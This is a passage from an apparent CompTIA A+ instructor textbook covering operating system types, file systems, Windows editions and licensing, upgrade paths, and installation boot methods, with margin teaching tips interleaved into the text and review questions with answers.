NOSs. They share the same underlying code and desktop interface as the client
versions, however.

Apple macOS
macOS is only supplied with Apple-built workstations (Apple Mac desktops and
Apple iMac all-in-ones) and laptops (Apple MacBooks). You cannot purchase macOS
and install it on an ordinary PC. This helps to make macOS stable but does mean
that there is far less choice in terms of buying extra hardware.

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macOS 11 desktop. (Screenshot reprinted with permission from Apple Inc.)

macOS is re-developed from the kernel of another type of operating system called
UNIX. This kernel is supplemented with additional code to implement the Mac’s
graphical interface and system utilities. macOS supports the Magic Trackpad touch
input device, but there is no support for touch screens.
macOS gets periodic version updates that are released to Mac owners at no cost.
At the time of writing, supported versions are 10.15 (Catalina), 11 (Big Sur), and
12 (Monterey). As there is a tight link between the models of Mac computers and
the OS, Apple makes specific limitations about whether a new version of macOS
can be installed to a Mac computer. Check support.apple.com for the technical
specification for any particular macOS release.

UNIX, Linux, and Chrome OS

Windows and macOS dominate the desktop/workstation/laptop market, but a third Show
“family” of *nix operating systems is very widely used on a larger range of devices. Slide(s)
UNIX, Linux, and
UNIX Chrome OS

UNIX is a trademark for a family of operating systems originally developed at Bell Teaching
Laboratories in the late 1960s. All UNIX systems share a kernel/shell architecture. Tip
The kernel is the low-level code that mediates access to system resources (CPU, Contrast the open-
RAM, and input/output devices) for other processes installed under the OS. source model with
Interchangeable shells run on the kernel to provide the user interface. Unlike the closed-source
Windows and macOS, UNIX is portable to a huge range of different hardware licensing imposed by
Microsoft and Apple.
platforms; versions of UNIX can run on everything from personal computers to
mainframes and on many types of computer processors. Explain the difference
between the Linux
Linux kernel and Linux
distributions, and
give an overview of
Originally developed by Linus Torvalds, Linux is a fully open-source OS kernel,
the principal distros.
derived from UNIX. As with other operating systems, the Linux kernel is bundled Emphasize that some
with multiple additional features, such as a shell command interpreter, desktop distributions use
window environment, and app packages. Unlike Windows and macOS, there are commercial support
lots of different Linux distributions (distros), with each maintaining its own set contracts.

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of packages. Examples of notable distros include SUSE, Red Hat, Fedora, Debian,
Ubuntu, Mint, and Arch. Distros can use different licensing and support options. For
example, SUSE and Red Hat are subscription-based, while Ubuntu is free to install
but has paid-for enterprise support contracts, and Fedora, Debian, Mint, and Arch
are community supported.

Ubuntu Linux desktop with apps for package and file management open.

Linux distros use one of two release models:

• The standard release model uses versioning to distinguish between updates.
Some versions may be designated as long-term support (LTS), meaning that the
distro owner will undertake to provide support and updates for that version for
a longer period.

• The rolling release model means that updates are delivered once the distro
owner considers them to be stable. There is no distinction between versions.

Linux can be used as a desktop or server OS. Apache, IBM, and Sun/Oracle are among
Teaching the vendors producing end-user and server applications for Linux. As a desktop OS,
Tip Linux tends to be used in schools and universities more than in businesses or in
Note that Chrome OS homes. As a server OS, it dominates the market for web servers. It is also used very
is a particular Linux widely as the OS for “smart” appliances and Internet of Things (IoT) devices.
distribution designed
by Google to work Chrome OS
principally as a client
for web apps, rather Chrome OS is derived from Linux via an open-source OS called Chromium. Chrome
than a host for locally OS itself is proprietary. Chrome OS is developed by Google to run on specific laptop
installed apps. The
(Chromebook) and PC (Chromebox) hardware. This hardware is designed for the
Chromebook range
is hardware designed budget and education markets.
to run Chrome OS Chrome OS was primarily developed to use web applications. In a web application,
(though the OS is
open-source and can the software is hosted on a server on the Internet, and the client connects to it
be installed to any using a browser. The client computer does not need to be particularly powerful
compatible platform). as the server does most of the processing. Chrome OS provides a minimal

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environment compared to Windows. This means that there is less chance of some
other software application or hardware device driver interfering with the function of
the browser.
There are also “packaged” apps available for use offline, and Chrome OS can run
apps developed for Android.

iOS and Android

A cell phone/tablet OS is one that is designed to work solely with a touch-screen Show
interface. The main OSs in this category are Apple iOS/iPadOS and Android. Slide(s)
iOS and Android
Apple iOS
Teaching
iOS is the operating system for Apple’s iPhone smartphone and original models Tip
of the iPad tablet. Like macOS, iOS is also derived from UNIX and developed as Explain the key
a closed-source operating system. This means that the code used to design the drivers of cell phone
software is kept confidential, can only be modified by Apple, and can only be used (smartphone for
on Apple devices. international students)
OS development, and
give an overview of the
contrasting features of
the iOS and Android
distribution models.
Note that Windows
has also been
redesigned to
support touch.
Though Microsoft
did not succeed in
establishing it as
a smartphone OS,
this is an important
feature for the tablet/
hybrid market, such
as Microsoft’s own
Surface hardware.
Windows 11 integrates
with the Android app
ecosystem.

iOS 15 running on an iPad. (Screenshot reprinted with permission from Apple Inc.)

New versions are released approximately every year, with version 15 current at the
time of writing. Apple makes new versions freely available, though older hardware
devices may not support all the features of a new version or may not be supported
at all. As with macOS, update limitations are published at support.apple.com.

Apple iPadOS
The iPadOS has been developed from iOS to support the functionality of the latest
iPad models (2019 and up). The principal advantage of iPadOS over iOS is better
support for multitasking (using more than one app at once) and the Apple Pencil
stylus device. Versions of iPadOS are released in parallel with iOS.

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AndroidTM
Android is a smartphone/tablet OS developed by the Open Handset Alliance, primarily
driven by Google. Unlike iOS, it is an open-source OS, based on Linux. The software
code is made publicly available. This means that there is more scope for hardware
vendors, such as Acer, Asus, HTC, LG, Motorola, OnePlus, Oppo, Samsung, Sony, and
Xiaomi to produce specific versions for their smartphone and tablet models.

Show
Slide(s)
Windows File System
Types

Teaching
Tip
Explain the
addressing, Android 11 home screen. (Screenshot courtesy of Android platform.)
journaling, and
encryption features
that distinguish At the time of writing, supported Android versions range from 9 (Pie) to 12. Because
“modern” filesystems handset vendors produce their own editions of Android, device compatibility for
from legacy ones. A new versions is more mixed compared with iOS. End-of-life policies and update
volume hosting an restrictions for particular handsets are determined by the handset vendor rather
OS (boot volume) or than any kind of overall Android authority.
application/backup/
logging system
requires these Windows File System Types
features. Removable
media may need to High-level formatting prepares a partition on a disk device for use with an operating
prioritize compatibility system. The format process creates a file system on the disk partition. Each OS is
(e.g., a digital camera associated with types of file system.
is not likely to support
a memory card New Technology File System
formatted using NTFS).
You might also want to The New Technology File System (NTFS) is a proprietary file system developed by
mention that Resilient Microsoft for use with Windows. It provides a 64-bit addressing scheme, allowing
File System (ReFS) is for very large volumes and file sizes. In theory, the maximum volume size is 16
being developed as Exabytes, but actual implementations of NTFS are limited to between 137 GB and
a replacement for
NTFS. ReFS is only
256 Terabytes, depending on the version of Windows and the allocation unit size.
available for Pro for The key NTFS features are:
Workstations and
• Journaling—When data is written to an NTFS volume, it is re-read, verified, and
Enterprise editions,
however, and cannot logged. In the event of a problem, the sector concerned is marked as bad and
currently be used for the data relocated. Journaling makes recovery after power outages and crashes
the boot volume. faster and more reliable.

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• Snapshots—This allows the Volume Shadow Copy Service to make read-only

copies of files at given points in time even if the file is locked by another process.
This file version history allows users to revert changes more easily and also
supports backup operations.

• Security—Features such as file permissions and ownership, file access audit

trails, quota management, and encrypting file system (EFS) allow administrators
to ensure only authorized users can read/modify file data.

• POSIX Compliance—To support UNIX/Linux compatibility, Microsoft engineered

NTFS to support case-sensitive naming, hard links, and other key features
required by UNIX/Linux applications. Although the file system is case-sensitive
capable and preserves case, Windows does not insist upon case-sensitive
naming.

• Indexing—The Indexing Service creates a catalog of file and folder locations and
properties, speeding up searches.

• Dynamic Disks—This disk management feature allows space on multiple

physical disks to be combined into volumes.

Windows Home editions do not support dynamic disks or encryption.

Windows can only be installed to an NTFS-formatted partition. NTFS is also usually

the best choice for additional partitions and removable drives that will be used with
Windows. The only significant drawback of NTFS is that it is not fully supported by
operating systems other than Windows. macOS can read NTFS drives but cannot
write to them. Linux distributions and utilities may be able to support NTFS to some
degree.

FAT32
The FAT file system is a very early type named for its method of organization—the
file allocation table. The FAT provides links from one allocation unit to another.
FAT32 is a variant of FAT that uses a 32-bit allocation table, nominally supporting
volumes up to 2 TB. The maximum file size is 4 GB minus 1 byte.
FAT32 does not support any of the reliability or security features of NTFS. It is
typically used to format the system partition (the one that holds the boot loader).
It is also useful when formatting removable drives and memory cards intended for
multiple operating systems and devices.

exFAT
exFAT is a 64-bit version of FAT designed for use with removable hard drives and
flash media. Like NTFS, exFAT supports large volumes (128 petabytes) and file sizes
(16 exabytes). There is also support for access permissions but not encryption.

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Linux and macOS File System Types

Show While Linux and macOS provide some degree of support for FAT32 and NTFS as
Slide(s) removable media, they use dedicated file systems to format fixed disks.
Linux and macOS File
System Types Linux File Systems
Teaching Most Linux distributions use some version of the extended (ext) file system to
Tip format partitions on mass storage devices. ext3 is a 64-bit file system with support
Note that Linux can for journaling. ext4 delivers better performance than ext3 delivers and would
use many more usually represent the best choice for new systems.
file system types,
including ZFS and XFS. Linux can also support FAT/FAT32 (designated as VFAT). Additional protocols such
as the Network File System (NFS) can be used to mount remote storage devices into
the local file system.

Ubuntu installer applying default ext4 formatting to the target disk.

Show
Slide(s) Apple File System
OS Compatibility
Issues
Where Windows uses NTFS and Linux typically uses ext3 or ext4, Apple Mac
workstations and laptops use the proprietary Apple File System (APFS), which
Teaching supports journaling, snapshots, permissions/ownership, and encryption.
Tip
Discuss how
deployment of
OS Compatibility Issues
multiple OS types and
One of the major challenges of supporting a computing environment composed
versions complicates
support procedures in of devices that use different operating systems is compatibility concerns.
terms of supporting Compatibility concerns can be considered in several categories: OS compatibility
users with different with device hardware, software app compatibility with an OS, host-to-host
OS interfaces and compatibility for exchanging data over a network, and user training requirements.
methods, deploying
apps, and making
use of peripheral
Hardware Compatibility and Update Limitations
devices and upgrade
When you plan to install a new version of an operating system as an upgrade or
components (disk
drives, memory, replace one OS with another, you must check that your computer meets the new
adapter cards, and hardware requirements. There is always a chance that some change in a new OS
so on). version will have update limitations that make the CPU and memory technology

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incompatible or cause hardware device drivers written for an older version not
to work properly. For example, Windows 11 requires a CPU or motherboard
with support for trusted platform module (TPM) version 2. This strongly limits its
compatibility with older PCs and laptops.

Running PC Health Check to verify compatibility with Windows 11. This computer’s CPU is not
supported, and it does not have a version 2 TPM. (Screenshot courtesy of Microsoft.)

Software Compatibility
A software application is coded to run on a particular OS. You cannot install an app
written for iOS on an Android smartphone, for instance. The developer must create
a different version of the app. This can be relatively easy for the developer or quite
difficult, depending on the way the app is coded and the target platforms. The app
ecosystem—the range of software available for a particular OS—is a big factor in
determining whether an OS becomes established in the marketplace.

Network Compatibility
Compatibility is also a consideration for how devices running different operating
systems can communicate on data networks. Devices running different operating
systems cannot “talk” to one another directly. The operating systems must support
common network protocols that allow data to be exchanged in a standard format.

User Training and Support

Different desktop styles introduced by a new OS version or changing from one OS
to another can generate issues as users struggle to navigate the new desktop and
file system. An upgrade project must take account of this and prepare training
programs and self-help resources as well as prepare technicians to provide support
on the new interface.
In the business client market, upgrade limitations and compatibility concerns
make companies reluctant to update to new OS versions without extensive testing.

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As extensive testing is very expensive, they are generally reluctant to adopt new
versions without a compelling need to do so.
These compatibility concerns are being mitigated somewhat using web applications
and cloud services. A web application only needs the browser to be compatible, not
the whole OS. The main compatibility issue for a web application is supporting a touch
interface and a very wide range of display resolutions on the different devices that might
connect to it.

Vendor Life-cycle Limitations

Show A vendor life cycle describes the policies and procedures an OS developer or device
Slide(s) vendor puts in place to support a product. Policy specifics are unique to each
Vendor Life-cycle vendor, but the following general life-cycle phases are typical:
Limitations
• A public beta phase might be used to gather user feedback. Microsoft operates
Teaching a Windows Insider Program where you can sign up to use early release Windows
Tip versions and feature updates.
Outline the broad
• During the supported phase when the product is being actively marketed, the
concepts of OS life
cycle in terms of beta, vendor releases regular patches to fix critical security and operational issues and
active marketing, feature upgrades to expand OS functionality. Supported devices should be able
extended support, and to install OS upgrade versions.
end-of-life phases. It’ll
be discussed in more • During the extended support phase, the product is no longer commercially
detail later, but touch available, but the vendor continues to issue critical patches. Devices that are in
on requirements for extended support may or may not be able to install OS upgrades.
monitoring security
advisories and risks • An end of life (EOL) system is one that is no longer supported by its developer
from unpatched and
unpatchable legacy
or vendor. EOL systems no longer receive security updates and therefore
systems. represent a critical vulnerability for a company’s security systems if any remain
in active use.

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Review Activity:
OS Types
3

Answer the following questions: Show

Slide(s)
Review

Teaching
1. Apart from Windows and macOS, what operating system options are
Tip
there for client PCs installed to a local network?
Take some time at
The other main choice is one of the distributions of Linux. A company might also the end of each topic
to answer questions.
use some sort of UNIX. Finally, Chrome OS is installed on Chromebox PCs. These
You can use the
are often used by educational institutions and businesses that rely primarily on web review questions
applications rather than locally installed desktop software. for discussion in
class or set them for
2. You are advising a customer with an older-model Android smartphone. students to complete
The customer wants to update to the latest version of Android, but using individually during or
the update option results in a “No updates available” message. What after class.
type of issue is this, and what advice can you provide?

This is an issue with update limitations. Android is quite a fragmented market, and
customers must depend on the handset vendor to implement OS updates for a
particular model. The customer can only check the handset vendor’s website or
helpline to find out if a version update will ever be supported for that model.

3. What feature of modern file systems assists recovery after power

outages or OS crash events?

Journaling means that the file system keeps a log of updates that it can use to
recover damaged data. The OS might also make use of snapshot capability to
maintain a file-version history or perform continuous backups.

4. A customer asks whether an iOS app that your company developed will
also work on her Apple macOS computer. What issue does this raise, and
what answer might you give?

The issue here is compatibility between different operating systems. Even though
both are produced by Apple, iOS and macOS use different environments, so the iOS
app cannot necessarily be installed directly. Your company might make a macOS
version. However (do not worry if you did not include this in your answer), with
the latest versions of macOS, there is support for native iOS apps, so this might be
something you can offer.

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Topic 12B
Show
Slide(s)
Compare Windows Editions
Compare Windows
5

Editions
CORE 2 EXAM OBJECTIVES COVERED
Teaching 1.1 Identify basic features of Microsoft Windows editions.
Tip
Having broken
away briefly, this
topic refocuses on Windows 10 and Windows 11 represent the currently supported versions of the
Windows to cover Windows client OS. However, while these versions are used for marketing, they
the differences actually cover a variety of subtly different OSs. For one thing, Windows is released
between editions. We in editions, each distinguished by support for features that target particular market
do have to discuss sectors, such as corporate versus home. Additionally, there have been several
some features that
haven’t been properly iterations of Windows 10, referred to as feature updates. As an A+ technician, you
introduced as subjects must be able to summarize and compare these differences so that you can provide
in their own right proper support and advice to your users.
(such as AD domains
and BitLocker).
Reassure students Windows Versions
that these will be
covered in more detail Windows has been released in several versions over the years. A new version may
later. introduce significant changes in the desktop style and user interface, add new
Show features, and add support for new types of hardware.
Slide(s)
32-bit Versus 64-bit
Windows Versions
Each version and edition of Windows 10 was originally available as 32-bit (x86) or
64-bit (x64) software. A 32-bit CPU can only run the 32-bit editions. A 64-bit CPU
can run either. All 32-bit Windows editions are limited to 4 GB system memory.
64-bit editions all support much more RAM but have different limits for licensing
purposes.
64-bit editions of Windows can run most 32-bit applications software, though there
may be some exceptions (you should check with the software vendor). The reverse
is not true, however; a 32-bit version of Windows cannot run 64-bit applications
software. 64-bit editions of Windows also require 64-bit hardware device drivers
authorized (“signed”) by Microsoft. If the vendor has not produced a 64-bit driver,
the hardware device will not be usable.

Windows 10 with feature update 2004 and later supports 64-bit only. Windows 11 is
64-bit only.

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Desktop Styles
The Windows user interface (UI) is based around the desktop, Start menu, taskbar,
and notification area elements. These basic desktop style elements have remained
in place, but Windows versions and feature updates sometimes introduce major
and minor changes. There are frequent changes to the design of the Start menu, for
instance, including its brief expansion into a screen with live app tiles. As another
example, feature update 1607 introduced support for dark themes, and subsequent
updates have tweaked the way dark versus light themes can be configured.
Windows 11 makes several changes to the desktop style. Notably, it center-aligns
the taskbar and introduces yet another design for the Start menu. There is also
better support for multiple desktops. You might use multiple desktops to separate
work documents and apps from games and personal documents.

Windows Home Edition

The Windows Home edition is designed for domestic consumers and possibly small Show
office home office (SOHO) business use. Windows 10 Home does not have any Slide(s)
unique features, and it has fewer features than other editions. Notably, the Home Windows Home
edition cannot be used to join a Windows domain network. Edition
The main management tasks for Windows Home are configuring secure use by Teaching
family members and simple file sharing of picture, music, and video files in a Tip
workgroup network with other Windows computers and smart home devices, such Discuss the uses for
as smart speakers and TVs. Many home computers are also configured to play PCs that are important
games. to home users.

Windows 11 has the same editions as Windows 10.

Windows Home Licensing

Windows Home supports two licensing models:
• An original equipment manufacturer (OEM) license means that the OS is pre-
installed to a PC or laptop and is valid for that device only. The computer vendor
is responsible for support. Most new devices will support upgrading the license
to Windows 11.

• A retail license may be transferred between computers, though it can only be

installed on a single device at any one time. A retail license is supported by
Microsoft and comes with Windows 11 upgrade rights.

Windows Home System Limitations

Windows Home does not support the use of multiple CPUs, though it does support
multicore (up to 64 cores) and HyperThreading. The 64-bit edition is restricted to
128 GB RAM.

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Work and Education Features

Show Other editions of Windows are designed for use at work and in education:
Slide(s)
• Windows Pro is designed for small- and medium-size businesses and can be
Work and Education obtained using OEM, retail, or volume licensing. This “Professional” edition
Features
comes with management features designed to allow network administrators
Teaching more control over each client device. There is also a Pro for Workstations edition
Tip with support for more advanced hardware.
The education
editions aren’t on the
• Windows Enterprise has the full feature set but is only available via volume
objectives but seem licensing.
worth mentioning.
• Windows Education/Pro Education are variants of the Enterprise and Pro
It’s not listed as a editions designed for licensing by schools and colleges.
content example, but
note that the Pro/ The principal distinguishing feature of the Pro, Enterprise, and Education editions is
Enterprise editions
support Hyper-V and
the ability to join a domain network.
the Home edition does In a workgroup network, the PCs and laptops can share data and communicate, but
not. They can also
each machine and its user account database are managed separately.
be configured with
the Business Store to On a corporate network, it is necessary to manage user accounts and system
provision corporate policies centrally because there are more machines to administer, and security
apps and restrict
access to consumer
requirements are higher. This centralized management is provided by joining each
apps. computer to a domain, where the accounts are configured on Domain Controller
(DC) servers.
Some other notable features of the Pro, Enterprise, and Education editions are as
follows:
• Group Policy Editor (gpedit.msc) is used to create and apply OS and software
application settings. These could be configured on each machine individually, but
more typically they are applied via policies configured on the DC so that client
machines have uniform desktop styles and settings. The editor is not available in
the Home edition.

• BitLocker enables the user to encrypt all the information on a disk drive.
Encryption means that data on the device is protected even if someone steals it
(as long as they cannot crack the user password). BitLocker is not supported in
Windows Home edition.

Remote Desktop Protocol (RDP) allows a user to connect to the machine and
operate it over a network. While the Home edition has the RDP client software, it
does not support an RDP server.

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Windows Pro and Enterprise Editions

Like Windows Home, Windows Pro is available as an OEM or retail/full packaged Show
product (FPP) license. It can also be obtained via a volume licensing program. Slide(s)
Volume licensing allows the customer to obtain discounts by specifying a bulk Windows Pro and
number of devices or users. It also allows for the creation of custom installation Enterprise Editions
images for rapid deployment.
Teaching
Windows Pro for Workstations has the same features as Pro but supports more Tip
maximum RAM and advanced hardware technologies, such as persistent system Pro for Workstations
RAM (NVDIMM). does have a couple of
feature differences,
Windows Enterprise and Education editions are only available via volume licensing. but they concern
The Enterprise edition has several features that are not available in the Pro edition, hardware optimization
such as support for Microsoft’s DirectAccess virtual private networking technology, and aren’t listed as
AppLocker software execution control, and the management and monitoring content examples
feature Microsoft Desktop Optimization Pack. (persistent memory
and SMB Direct).
The feature differences
between Pro and
Enterprise also aren’t
listed as content
examples. The principal
ones are AppLocker,
BranchCache,
DirectAccess,
Credential Guard,
and App-V.

Use the About settings page to report the edition that is installed. You can usually use a new
product key to change the edition. (Screenshot courtesy of Microsoft.)

The Pro/Enterprise/Education editions of Windows have less restrictive hardware

limits than those of the Home edition. They all support computers with multiple
processors:
• Pro and Education editions support 2-way multiprocessing and up to 128 cores.

• Pro for Workstations and Enterprise editions support 4-way multiprocessing and
up to 256 cores.

They have the following system RAM support limitations:

• Pro and Education editions are restricted to 2 TB.

• Pro for Workstations and Enterprise editions are restricted to 6 TB.

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Windows Upgrade Paths and Feature Updates

Show An in-place upgrade means that the setup program for the new version is launched
Slide(s) from within the current OS. The applications, configuration settings, and data files
Windows Upgrade should all be preserved as long as they are compatible with the new version.
Paths and Feature
Updates Before performing an upgrade, you can run a compatibility advisor tool. Any software
and hardware devices that will not be compatible with the new version should be
Teaching
uninstalled before performing the upgrade.
Tip
Explain that an
in-place upgrade
installs a new version
Upgrade Paths
or edition without
affecting user
If you are considering an in-place upgrade, you must check that the current OS
settings, apps, or version is supported as an upgrade path to the intended version. The OS vendor
data files. Note that should publish supported upgrade paths on its website. For example, the upgrade
incompatible apps and paths for Windows 10 are published here: docs.microsoft.com/en-us/windows/
device drivers need to deployment/upgrade/windows-10-upgrade-paths.
be uninstalled before
proceeding. With Windows, you also have to consider the edition when upgrading. You can
Re-cap the release usually upgrade to the same or higher edition (Windows 7 Home Premium to
model for Windows Windows 10 Home or Pro or Windows 10 Home to Windows 10 Pro, for instance),
10. Quality updates but you cannot upgrade from a Home to an Enterprise edition. Downgrading the
are security and edition is supported in some circumstances (Windows 7 Professional to Windows 10
reliability patches, Home, for instance), but this only retains documents and other data, not apps and
while feature updates
can include new
settings. Downgrading from an Enterprise edition is not supported.
components and
remove old ones. Feature Updates
Update previews can
be obtained by joining Feature updates for Windows 10 are identified with a name and number. For
the Windows Insider example, in July 2016, Microsoft released a Windows 10 feature update called
Program. Windows 10 Anniversary Update. This release was identified with the number
1607, which corresponds to the year (2016) and month (07/July) of release. The
current version of Windows 10 at the time of writing is 21H2, released in the
second half of 2021.
In addition to feature updates, Windows is updated periodically with quality
updates. Quality updates do not usually make radical changes to Windows,
though some do include new features. Quality updates might sometimes cause
compatibility problems with some hardware devices and software applications, but
this is less likely than with feature updates.

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Review Activity:
Windows Editions
6

Answer the following questions: Show

Slide(s)
Review

Teaching
1. In terms of system hardware, what is the main advantage of a 64-bit
Tip
version of Windows?
Take some time at
Support for more than 4 GB RAM. the end of each topic
to answer questions.
2. You are advising a business that needs to provision video-editing You can use the
review questions
workstations with four-way multiprocessing. Which retail Windows
for discussion in
edition will allow them to make full use of this hardware? class or set them for
students to complete
Windows Pro for Workstations supports four-way multiprocessing (four CPUs individually during or
installed to separate sockets) and up to 6 TB RAM. Windows Enterprise has the after class.
same hardware limits but is not available via a retail channel.

3. You are advising a customer whose business is expanding. The business

owner needs to provision an additional 30 desktop computers, some
of which will be installed at a second office location. The business
is currently run with a workgroup network of five Windows 7 Home
Premium desktop computers and one file server. Why might you suggest
licenses for an edition of Windows 10 that supports corporate needs
for the new computers and has upgrades for the old computers? Which
specific edition(s) could you recommend?

Without a domain, accounts must be configured on each computer individually.

With more than 30 computers to manage at two locations, this would be a
substantial task, so switching to a domain network, where the accounts can be
configured on the server, is likely to save costs in the long term. You can suggest
either Windows 10 Pro or Windows 10 Enterprise for use on a domain.

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Lesson 12
Summary
4

Show You should be able to explain differences between OS types, versions, and editions
Slide(s) to identify a suitable choice of OS for a given scenario.
Summary
Guidelines for Supporting Operating Systems
Teaching
Tip Follow these guidelines to support use of multiple operating system types in a
Try to include some home or business environment:
time at the end • Establish requirements for workstation (Windows, Linux, macOS, Chrome OS)
of each lesson to
check students’
and cell phone/tablet (iOS, iPadOS, Android) operating systems given devices
understanding and used in the environment.
answer questions.
• Ensure that an appropriate edition is selected when deploying Windows:

• 32-bit versus 64-bit support.

• RAM and CPU limits between Home, Pro, Pro for Workstations, and Enterprise
editions.

• Features supported by Pro that are not available in Home (RDP server,
BitLocker, gpedit.msc) and features supported by Enterprise editions that are
not available in Pro.

• OEM, retail, and/or volume-licensing availability.

• Monitor vendor life-cycle policies (update limitations and EOL announcements)

to plan OS and device upgrade and replacement cycles.

• Plan for compatibility concerns between operating systems, including filesystem

formats (NTFS, FAT32, ext3/ext4, APFS, exFAT), software, networking, and user
training/education on different desktop styles.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 13
Supporting Windows
1

LESSON INTRODUCTION
Supporting an operating system is a greater challenge than simply being able to Show
use the various configuration utilities, management consoles, and commands. To Slide(s)
support an OS, you must be able to plan the deployment of software, train and
Objectives
assist users, and troubleshoot problems. As well as technical challenges, there are
operational and business factors to consider when installing operating systems and Teaching
third-party software. Troubleshooting requires knowledge of common symptoms Tip
and probable causes in addition to being able to use tools to recover a system or This topic completes
data files. This lesson will help prepare you to meet these challenges so that you the block on
can play an effective support role. “standalone” operating
system features and
support procedures by
Lesson Objectives covering installation
and troubleshooting
In this lesson, you will: issues. The lesson
focuses on Windows
• Perform OS installations and upgrades. (notably in the
troubleshooting
• Install and configure applications. section), but try to
emphasize that similar
• Troubleshoot Windows OS problems. support procedures
apply to Linux and
macOS.

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Show
Slide(s)
Perform OS
Topic 13A
Installations and
Upgrades
Perform OS Installations and Upgrades
Teaching
Tip
2

The matching
objective for this topic CORE 2 EXAM OBJECTIVES COVERED
is not OS-specific, but 1.9 Given a scenario, perform OS installations and upgrades in a diverse OS
the content examples environment.
are heavily slanted
toward Windows.
Nonetheless, try to Being able to install or upgrade an operating system can be important if you
include Linux in the have built a custom computer system from scratch, if the system you purchased
presentation where from a vendor did not have the correct system installed, or if you are completely
relevant. redeploying existing hardware from one system to another. The skills and
information in this topic will help you plan and perform an OS installation properly,
Show
for whatever your technical and business requirements might be.
Slide(s)
Installation
and Upgrade Installation and Upgrade Considerations
Considerations
An operating system (OS) installation copies the files from the installation media to
Teaching a partition on the target computer’s fixed disk. Given this basic task, there are a few
Tip installation types that have unique considerations to plan for.
Explain that in-place
upgrades are mostly Clean Install or In-place Upgrade
used by retail
customers where data An attended installation is where the installer inputs the configuration information
is more likely to be in response to prompts from a setup program. There are two main types of
stored on the PC (as attended installation:
opposed to a network
share) and there are • Clean install means installing the OS to a new computer or completely replacing
more likely to be the OS software on an old one by repartitioning and reformatting the target disk.
custom settings/apps Any existing user data or settings are deleted during the setup process.
that would be time-
consuming to reinstall • In-place upgrade means running setup from an existing version of the OS so
and reconfigure.
Remind students that
that third-party applications, user settings, and data files are all kept and made
we have covered in- available in the new version.
place upgrade paths
for Windows already. A clean install is generally seen as more reliable than upgrading. In-place upgrades
are generally designed for home users.
Note that the process
of compatibility
checking is performed Note that you can only upgrade the same type of operating system. You cannot
using automated tools "upgrade" from Windows to Linux, for instance.
(at least for Windows
and macOS). Stress
that making a backup
before performing the
upgrade is critical.
Upgrade Considerations
We’ve already 1. Check hardware compatibility—You must make sure that the CPU, chipset,
discussed the feature and RAM components of the computer are sufficient to run the OS. PC
update delivery model
operating systems now often require a 64-bit CPU, for example. New versions
for Windows 10.
Here, note that it is often have higher RAM requirements than older software.
worth treating these
as upgrades (back 2. Check application and driver support/backward compatibility—Most
up settings and data version upgrades try to maintain support for applications and device drivers
before proceeding). that were developed for older versions. When performing an in-place

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upgrade, any incompatible software or hardware should be uninstalled before

attempting an in-place upgrade. If the existing app or driver is not directly
compatible, the vendor might have produced a new version that can be
reinstalled after the upgrade. Incompatible apps and devices will have to be
replaced with new alternatives.

Microsoft maintains a Windows Logo'd Product List (LPL) catalog, previously called the
Hardware Compatibility List (HCL). This is a catalog of tested devices and drivers.
If a device has not passed Windows logo testing, you should check the device vendor's
website to confirm whether there is a driver available.

You can sometimes use automated Upgrade Advisor software to check whether the
existing computer hardware (and software applications) will be compatible with a new
version of Windows. An Upgrade Advisor might be bundled with the setup program or
available from the vendor website.

3. Backup files and user preferences—For a clean install, you can use a backup
to restore data and settings after OS setup has been completed. For an in-
place upgrade, a security backup is essential in case the upgrade goes wrong
and you need to recover data.

4. Obtain third-party drivers—The OS setup media might not contain drivers

for certain hardware devices. This is typically only an issue where the
computer uses a RAID controller. If the controller driver is not available, the
setup program will not be able to use the RAID volume. You might also need
to ensure that the driver for an Ethernet or Wi-Fi adapter is available.

Unsupported hardware or software can cause problems during an in-place upgrade

and should be physically uninstalled from the PC. It is also worth obtaining the latest
drivers for various devices from the vendor’s website. The Windows setup media ships
with default drivers for a number of products, but these are often not up to date nor
are they comprehensive. Store the latest drivers for your hardware on a USB drive or
network location so that you can update hardware efficiently.

Feature Updates
The Windows 10 and Windows 11 product lifecycles make use of feature updates
to introduce changes to the desktop environment and bundled apps. These
are delivered via Windows Update. While they rarely have different hardware
requirements, it is best to treat a feature update in the same way as you would an
in-place upgrade. Check for any hardware or software compatibility concerns and
make a backup before proceeding.

Unattended Installations Show

Slide(s)
Performing an attended installation is time-consuming. Although the setup process Unattended
has been streamlined since the early versions of Windows, an attended installation Installations
still requires the installer to monitor the setup program and input information.
When it comes to large deployments (whether at the same time or over a period Teaching
of months), there are several options for completing fully or partially unattended Tip
installations. Explain that most
enterprises use some
An unattended installation uses a script or configuration file to input the choices type of imaging/
and settings that need to be made during setup. In Windows, this is referred to as remote network install
an answer file. to provision clients.

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The Windows System Image Manager is used to configure answer files. An answer file contains the
information input during setup, such as product key, disk partitions, computer name, language
and network settings (including whether to join a domain or workgroup), and so on.
(Screenshot courtesy of Microsoft.)

Unattended installations are also often completed using image deployment. An

image is a clone of an existing installation stored in one file. The image can contain
the base OS and configuration settings, service packs and updates, applications
software, and whatever else is required. An image can be stored on DVD or USB
media or can be accessed over a network. Using image deployment means that
machines use a consistent set of software and configuration options.

Boot Methods
Show The installation boot method refers to the way in which the setup program, answer
Slide(s) file (if used), and OS files or system image are loaded onto the target PC. You may
need to access the computer’s firmware setup program to ensure that a particular
Boot Methods
boot method is available, enabled, and set to the highest priority.

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Teaching
Tip
The choices for a clean
install are bootable
external disk (typically
connected by USB),
optical drive, internal
partition (typically
for a recovery-type
install), and network.
Remind students that
the appropriate boot
priority needs to be
set via system setup
(covered in the Core 1
course).
Explain the
components required
to perform a network
boot: PXE-compatible
network adapter and
a DHCP server to point
the client to a remote
installation server.
Configuring boot devices and priority in a computer’s firmware setup program. Explain that
“Internet-based” is
not a mainstream
Optical Media setup boot method
at the time of
Historically, most attended installations and upgrades were run by booting from writing. However,
optical media (CD-ROM or DVD). The optical drive must be set as the priority boot most installers will
device. use an available
Internet connection
to download the
USB and External Drives and Flash Drives latest files or the
entire OS image (if
Fewer computers have optical drives these days. Another problem with disc-based
using a minimal setup
installs is that the setup disc quickly becomes out-of-date and post-installation tasks program). This is also
for installing drivers, updates, and service packs can take longer than the original typically the method
installation. One way around this is to build slipstreamed media, with all the various used for in-place
patches and drivers already applied. The media could be CD-ROM, DVD, or USB- upgrades where
attached flash drive or external drive connected by USB. the setup process is
launched from within
When using an external/hot-swappable hard drive or solid-state flash drive as boot the existing OS. You
media, the boot method should be set to use the USB-connected device as the might also want to
mention orchestration
priority option.
and automation
technologies for
Microsoft provides a Media Creation Tool to create installation media from the product deploying VMs in the
setup files. The tool can either make a bootable USB thumb drive or generate an ISO file cloud.
